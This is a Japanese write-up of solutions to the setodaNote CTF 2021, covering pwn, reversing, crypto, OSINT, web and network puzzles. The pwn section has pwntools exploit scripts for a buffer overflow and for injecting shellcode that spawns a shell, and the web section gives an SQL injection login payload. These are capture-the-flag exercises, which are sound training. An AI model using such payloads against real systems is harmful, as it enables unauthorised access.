概要

setodaNote CTFは2021/08/21 21:00 ~ 2021/09/04 21:00 (JST)に@soji256氏によって開催されたCTFです.

https://ctf.setodanote.net/about

1人で参加し,3890 points獲得して133rd placeでした.

開催期間が長いタイプのCTFだと,集中して取り組む期間が逆に短くなってしまう癖が自分にはあることがわかりました(結局取り組んだのは最初の2日くらいでした…).

about

問題

問題は

のジャンルで構成されています.

以降は自分が開催期間中に解いた問題を解説していきます.

Pwn

このCTFでは,Pwn等の問題は別途用意されたwebshellの環境で接続することになっていました.

全3問中2問解きました

もう一問fsbっぽいのがあったんですが,普通にfsbが苦手なのと,手元にバイナリが無くて検証が難しいくて開催中には解けませんでした.

tkys_let_die

シンプルなbuffer overflowの問題です

$ ./gate

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> hoge
Gate is close.
Goodbay hoge.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");
    printf("\n");

    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

radareでmainを読んでみると,gaterbp-0x20に,namerbp-0x6に確保されているので,いい感じにパディングを用意してgate"open"を入れます.

from pwn import *
context.log_level = 'critical'
io = remote('10.1.1.10', 13020)

pad = b'a' * 0x1a
payload = pad + b'open'

io.sendlineafter(b'name?', payload)

io.interactive()
 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

shellcode

/home/user/flagにflagがあります

mainはこんな感じです

undefined8 main(void)

{
    char *buf;

    sym.imp.setvbuf(_reloc.stdout, &buf, 2, 0x50);
    sym.imp.puts("       |");
    sym.imp.printf("target | [%p]\n", &buf);
    sym.imp.puts("       |");
    sym.imp.printf("Well. Ready for the shellcode?\n> ");
    sym.imp.__isoc99_scanf("%[^\n]", &buf);
    sym.imp.puts(&buf);
    return 0;
}

rbp-0x50に確保したbufのアドレスを表示し,scanfで入力しています.

問題名の通り,シェルコードをバッファに書き込み,return addresをバッファのアドレスで上書きします.

バイナリが手元に無いのでchecksecはできませんが,canaryが無い事を願ってソルバを実行しました.

from pwn import *
context.log_level = 'critical'
context(arch='x86_64', os='linux')
io = remote('10.1.1.10', 13050)

io.readline()
io.recvuntil(b'[')

line = io.readline()
target_addr = int(line[0:14], 16)

shellcode = asm(shellcraft.sh())

pad = b'a' * (0x58 - len(shellcode))

payload = shellcode + pad + pack(target_addr)

io.sendline(payload)

io.interactive()
user@29d873bdec39:~$ python3 solve.py
target | [0x7ffc1f188790]
       |
Well. Ready for the shellcode?
> jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaals
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat /home/user/flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

Rev

Revは全5問で,PEのデバッグが必要な問題を1問残して4問解きました.

Helloworld

PEなのでwineで実行すると

$ wine helloworld.exe
Nice try, please set some word when you run me.

とのことなのでradareでちょっと読んでみます

[0x0040138a]> izq
0x402100 48 47 Nice try, please set some word when you run me.
0x402130 5 4 flag
0x402138 49 48 Good job, but please set 'flag' when you run me.
0x40216c 5 4 hint
0x402174 12 11 Nice try ;)

ということで

$ wine helloworld.exe flag
flag{free_fair_and_secure_cyberspace}

はい.

ELF

渡されたELFは破損しており,実行できません.

とりあえずradareで読むと,0x1135にそれっぽい関数があります

[0x00000000]> pdf @0x1135
            ; DATA XREF from fcn.00001040 @ +0x2d
┌ 102: fcn.00001135 ();
│           ; var int64_t var_20h @ rbp-0x20
│           ; var int64_t var_18h @ rbp-0x18
│           ; var int64_t var_10h @ rbp-0x10
│           ; var signed int64_t var_4h @ rbp-0x4
│           0x00001135      55             push rbp
│           0x00001136      4889e5         mov rbp, rsp
│           0x00001139      4883ec20       sub rsp, 0x20
│           0x0000113d      48b84e44494f.  movabs rax, 0x465d5a534f49444e ; 'NDIOSZ]F'
│           0x00001147      48ba77454943.  movabs rdx, 0x55494a4143494577 ; 'wEICAJIU'
│           0x00001151      488945e0       mov qword [var_20h], rax
│           0x00001155      488955e8       mov qword [var_18h], rdx
│           0x00001159      c645f000       mov byte [var_10h], 0
│           0x0000115d      c745fc000000.  mov dword [var_4h], 0
│       ┌─< 0x00001164      eb1c           jmp 0x1182
│       │   ; CODE XREF from fcn.00001135 @ 0x1186
│      ┌──> 0x00001166      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x00001169      4898           cdqe
│      ╎│   0x0000116b      0fb64405e0     movzx eax, byte [rbp + rax - 0x20]
│      ╎│   0x00001170      83f028         xor eax, 0x28
│      ╎│   0x00001173      89c2           mov edx, eax
│      ╎│   0x00001175      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x00001178      4898           cdqe
│      ╎│   0x0000117a      885405e0       mov byte [rbp + rax - 0x20], dl
│      ╎│   0x0000117e      8345fc01       add dword [var_4h], 1
│      ╎│   ; CODE XREF from fcn.00001135 @ 0x1164
│      ╎└─> 0x00001182      837dfc0f       cmp dword [var_4h], 0xf
│      └──< 0x00001186      7ede           jle 0x1166
│           0x00001188      488d45e0       lea rax, [var_20h]
│           0x0000118c      4889c7         mov rdi, rax
│           0x0000118f      e89cfeffff     call fcn.00001030
│           0x00001194      b800000000     mov eax, 0
│           0x00001199      c9             leave
└           0x0000119a      c3             ret
''.join([chr(ord(c) ^ 0x28) for c in 'NDIOSZ]FwEICAJIU'])

flag{run_makiba}

Passcode

実行するとpasscodeの入力を求められるELFです

radareで見るとそれっぽい文字列があり,mainで参照してるのでやってみます

[0x000010a0]> izq
0x2008 21 20 Enter the passcode:
0x201d 15 14 %255[^\n]%*[^\n]
0x2030 18 17 Invalid passcode.
0x2042 29 28 Invalid passcode. Too short.
0x205f 28 27 Invalid passcode. Too long.
0x207b 9 8 20150109
0x2088 33 32 The passcode has been verified.\n
0x20a9 19 18 Flag is : flag{\%s}
0x20bc 28 27 Invalid passcode. Nice try.

[0x000010a0]> axt @0x207b
main 0x1387 [DATA] lea rsi, str.20150109
$ ./passcode
Enter the passcode: 20150109
The passcode has been verified.

Flag is : flag{20150109}

Passcode2

上と似たようなバイナリですが,passcodeはハードコードされてません.

radareでghidraのデコンパイルしてみると,

undefined8 main(void)

{
    int32_t iVar1;
    undefined8 uVar2;
    uint64_t uVar3;
    int64_t iVar4;
    char *var_11ch;
    undefined var_114h;
    undefined var_113h;
    undefined var_112h;
    undefined var_111h;
    char *s;
    int64_t var_108h;
    int64_t var_100h;
    int64_t var_f8h;
    int64_t var_f0h;
    int64_t var_e8h;
    int64_t var_e0h;
    int64_t var_d8h;
    int64_t var_d0h;
    int64_t var_c8h;
    int64_t var_c0h;
    int64_t var_b8h;
    int64_t var_b0h;
    int64_t var_a8h;
    int64_t var_a0h;
    int64_t var_98h;
    int64_t var_90h;
    int64_t var_88h;
    int64_t var_80h;
    int64_t var_78h;
    int64_t var_70h;
    int64_t var_68h;
    int64_t var_60h;
    int64_t var_58h;
    int64_t var_50h;
    int64_t var_48h;
    int64_t var_40h;
    int64_t var_38h;
    int64_t var_30h;
    int64_t var_28h;
    int64_t var_20h;
    int64_t var_18h;
    uint32_t var_8h;

    s = NULL;
    var_108h = 0;
    var_100h = 0;
    var_f8h = 0;
    var_f0h = 0;
    var_e8h = 0;
    var_e0h = 0;
    var_d8h = 0;
    var_d0h = 0;
    var_c8h = 0;
    var_c0h = 0;
    var_b8h = 0;
    var_b0h = 0;
    var_a8h = 0;
    var_a0h = 0;
    var_98h = 0;
    var_90h = 0;
    var_88h = 0;
    var_80h = 0;
    var_78h = 0;
    var_70h = 0;
    var_68h = 0;
    var_60h = 0;
    var_58h = 0;
    var_50h = 0;
    var_48h = 0;
    var_40h = 0;
    var_38h = 0;
    var_30h = 0;
    var_28h = 0;
    var_20h = 0;
    var_18h = 0;
    var_11ch._0_1_ = 0x18;
    var_11ch._1_1_ = 0x1f;
    var_11ch._2_1_ = 4;
    var_11ch._3_1_ = 0x79;
    var_11ch._4_1_ = 0x4f;
    var_11ch._5_1_ = 0x5a;
    var_11ch._6_1_ = 4;
    var_11ch._7_1_ = 0x18;
    var_114h = 0x1a;
    var_113h = 0x1b;
    var_112h = 0x1e;
    var_111h = 0;
    sym.imp.printf("Enter the passcode: ");
    iVar1 = sym.imp.__isoc99_scanf("%255[^\n]%*[^\n]", &s);
    if (iVar1 == -1) {
        uVar2 = 1;
    }
    else {
        sym.imp.__isoc99_scanf(0x202c);
        if ((char)s == '\0') {
            sym.imp.printf("Invalid passcode.");
        }
        else {
            uVar3 = sym.imp.strlen(&s);
            if (uVar3 < 0xb) {
                sym.imp.printf("Invalid passcode. Too short.");
            }
            else {
                uVar3 = sym.imp.strlen(&s);
                if (uVar3 < 0xc) {
                    iVar4 = sym.imp.strlen(&s);
                    if (iVar4 == 0xb) {
                        _var_8h = 0;
                        while ((uVar3 = sym.imp.strlen(&var_11ch),  _var_8h < uVar3 &&
                               (*(uint8_t *)((int64_t)&s + _var_8h) ==
                                (*(uint8_t *)((int64_t)&var_11ch + _var_8h) ^ 0x2a)))) {
                            _var_8h = _var_8h + 1;
                        }
                        uVar3 = sym.imp.strlen(&var_11ch);
                        if (_var_8h == uVar3) {
                            sym.imp.puts("The passcode has been verified.\n");
                            sym.imp.printf("Flag is : flag{\%s}", &s);
                        }
                        else {
                            sym.imp.printf("Invalid passcode. Nice try.");
                        }
                    }
                    else {
                        sym.imp.printf("Invalid passcode.");
                    }
                }
                else {
                    sym.imp.printf("Invalid passcode. Too long.");
                }
            }
        }
        sym.imp.putchar(10);
        uVar2 = 0;
    }
    return uVar2;
}

なんかそれっぽいのがあるので,それっぽくやります

>>> ''.join([chr(c ^ 0x2a) for c in [0x18, 0x1f, 0x4, 0x79, 0x4f, 0x5a, 0x4, 0x18, 0x1a, 0x1b, 0x1e]])
'25.Sep.2014'
$ ./passcode2
Enter the passcode: 25.Sep.2014
The passcode has been verified.

Flag is : flag{25.Sep.2014}

Programing

一応全完です

ZZZIPPP

めっちゃZIPなやつ

#!/bin/bash

for i in `seq 1 1000|tac`
do
    unar "flag$i.zip"
    rm "flag$i.zip"
done

flag{loop-zip-1989-zip-loop}

echo_me

てけいさん的な感じですが,けいさんはいりません

#!/usr/bin/env python3
from pwn import *
io = remote('10.1.1.10', 12020)

try:
    while True:
        io.recvuntil('==========\n')
        line = io.readline()
        print(line.decode('utf-8', 'ignore'))
        line = line.split()[-1].decode('utf-8', 'ignore').strip()
        io.recvuntil('==========\n')
        io.sendline(line)
        print(io.readline()) # Correct!

except:
    io.interactive()

何問あるかわからなかったので,try exceptで問題以外の文字列が来たらinteractiveにしています.


b'Correct!\n'
[*] Switching to interactive mode

flag{Hellow_yamabiko_Yoo-hoo!}
[*] Got EOF while reading in interactive
$ 

EZZZIPPP

さっきのZIPに似ていますが,passwordがあります

#!/bin/bash

for i in `seq 1 1000|tac`
do
    unzip -o -P `cat pass.txt` "flag$i.zip"
    rm "flag$i.zip"
done

flag{bdf574f15645df736df13daef06128b8}

deep_thought

てけいさんです.

#!/usr/bin/env python3
from pwn import *

io = remote('10.1.1.10', 12010)

try:
    while True:
        io.recvuntil(b']\n')
        q = io.readline().decode('utf-8', 'ignore')
        a = eval(q)
        print(f'question is {q} answer is {a}')
        io.sendline(str(a))
        print(io.recvuntil(b'Correct!').decode('utf-8', 'ignore'))
except:
    io.interactive()

webshell環境が渡されてるので気兼ねなくevalできますね

question is 1982 + 1335
 answer is 3317
Correct!
[*] Switching to interactive mode


flag{__42__}
[*] Got EOF while reading in interactive

Crypto

8問中3問しか解けてません.

気力があれば解ける問題や,よく出るRSAもあったと思うので,一人で出るならそれらも解けるようになっておきたいですね.

base64

base64です

ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==

$ echo  ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==|base64 -d
flag{It's_called_base64!}

ROT13

ROT13です

synt{Rira_lbh_Oehghf?}

flag{Even_you_Brutus?}

pui_pui

pui_puiです

\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a

ASCIIっぽいのでcyberchefでシュッとします

最近cyberまで入れるとcyberdefense.jpがサジェストされます.

A:Do you know Molcar?

B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.

A:... What?

B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.

Misc

12問中9問解きました

Welcome

webshellにあるwelcome.txtにflagがあります


  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

  This is the flag.

morse_one

多分モールス信号でしょう.

cyberchefを用意しておきます

いい感じにVimで置換すると

...- .. -... .-. --- .--. .-.. . -..-

になり,

VIBROPLEX

となります

Hash

大量のファイルの中から指定されたHashに一致するファイルを探します.

#/bin/bash
fd -x sha256sum |rg "(aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7|8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb|e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962)"|awk '{print $2}'|xargs cat |tr -d '\n'

flag{hardest_logic_puzzle}

F

+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.

bfです

FLAG is flag{Don't_Use_the_F-Word!!}

magic_number

問題文

80
添付されたファイルから以下が示す3つのファイルを探してください。

[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]

フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。

flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}

例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。

[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip

面白い解き方をしたかったのと,他に思いつかなかったのでyaraルールを書きました

rule first
{
    strings:
        $magic = {89 50 4e 47}
    condition:
        $magic at 0
}

rule second
{
    strings:
        $magic = {52 61 72 21}
    condition:
        $magic at 0
}

rule third
{
    strings:
        $magic = {ff d8 ff e0}
    condition:
        $magic at 0
}
$ yara magic.yara .
first ./post.png
third ./light.jpg
second ./rar.rar

flag{post_light_rar}

Stegano

Steganoです

stegosolveで解きました

flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}

morse_zero

ゼロ幅スペースです

いい感じにVimで置換すると

--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .

になるので,

flag{ZER0_W1DTH_SPACE}

i_knew_it

問題文

「このアセンブリ、見た瞬間あなただと分かりましたよ。」

ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。

フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。

見た瞬間分かるやつです

flag{RC4}

Redacted

pdfです.libreofficeで開いたら黒塗り外せました

flag{weather_balloon}

Forensics

11問中3問しか解けませんでした.

しっかりやれば楽しそうですが,forensicsの知見があまり無いので開催中はあまり触れませんでした

paint_flag

wordです.

解凍したらflag.pngがあります

flag{What_m4tters_is_inside;)}

Mail

メール中にpngがあるので書き出します

flag{You've_clearly_done_a_good_job_there!!}

Deletedfile

binwalkでシュッと出します

flag{nosce_te_ipsum}

OSINT

10問中6問しか解けませんでした.

もうちょっとやったら楽しそうだったので勿体ないです.

tkys_with_love

問題文

だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。

フラグは後輩がいるという乗り物の正式名称を flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。

flag{Symphony_of_the_Sea}

Dorks

問題文


gin.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。

Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。

例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。

flag{inurl:login.php}

Google Dorksについては弊サークルの先輩が書いた記事が参考になります

filters_op

問題文

Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。

例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります

from:@cas_nisc until:2017-05-16

flag{#WannaCrypt}

MAC

問題文

友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。

00:03:93 = A
00:01:A9 = B
04:2A:E2 = C

上記の通り変換されるとき、以下の文字列はどうなるか。

flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}

暗号文を解きフラグを得てください。

MACアドレスのベンダーのイニシャルです.なんかクイズ番組で出そう.

https://uic.jp/mac/address/fc4ea4/とかで見ましょう

flag{O_U_I_Y_A}

MITRE

問題文

識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。

T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}

フラグに英字が含まれる場合はすべて大文字で答えてください。

MITREのEnterprise MatrixのIDです

flag{MITRE_ATTACK_MATLIX_THX}

Ropeway

湖 ロープウェイとかで調べました

https://www.kanzanji-ropeway.jp/

flag{kanzanji}

Web

全部curlとdevtoolでなんとかなったので全完できました

Body

$ curl https://ctf.setodanote.net/web001/ 2>/dev/null|grep flag
                                                        <p>特に指定がない限りフラグは flag{<!-- *** flag{Section_9} *** -->} という形式をとります。</p>

flag{Section_9}

Response Headerのx-setodanotectf-flagにflagがあります

flag{Just_a_whisper}

puni_puni

punycodeです

xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.

flag{33punycode44}

Mistake

$ curl https://ctf.setodanote.net/web003/ 2>/dev/null|grep flag
                                                        <p>特に指定がない限りフラグは flag{<!-- Webserver directory index? -->} という形式をとります。</p>

https://ctf.setodanote.net/web003/images/pic_flag_is_here.txt

flag{You_are_the_Laughing_Man,_aren't_you?}

tkys_royale

admin:'or'1'='1で通ります

flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

Estimated

画像に命名規則があるので消された投稿の画像のリンクがわかります

https://ctf.setodanote.net/web006/images/20210602001b.jpg

flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}

Mx.Flag

faviconです

// flag{Mr_Flag_hiding_in_the_favicon}
console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});

flag{Mr_Flag_hiding_in_the_favicon}

Redirect

curlでredirect追跡していってパラメータをいい感じにします

https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200

<!DOCTYPE html>
<body>
  <h1>Nice work!!</h1>
  <p>flag{Analyz1ng_Bad_Red1rects}</p>
</body>

flag{Analyz1ng_Bad_Red1rects}

Network

8問中3問しか解けてません

Host

HTTP request送ってるので,読みます

flag{ctf.setodanote.net}

tkys_never_die

pngがあるので摘出します

flag{a_treasure_trove}

echo_request

ICMPのDataにflagが1文字ずつあります

flag{ICMP_Tunneling_T1095}

感想

いろんなジャンルがあって楽しかったですね.

苦手なジャンル,問題の傾向がわかって良かったです.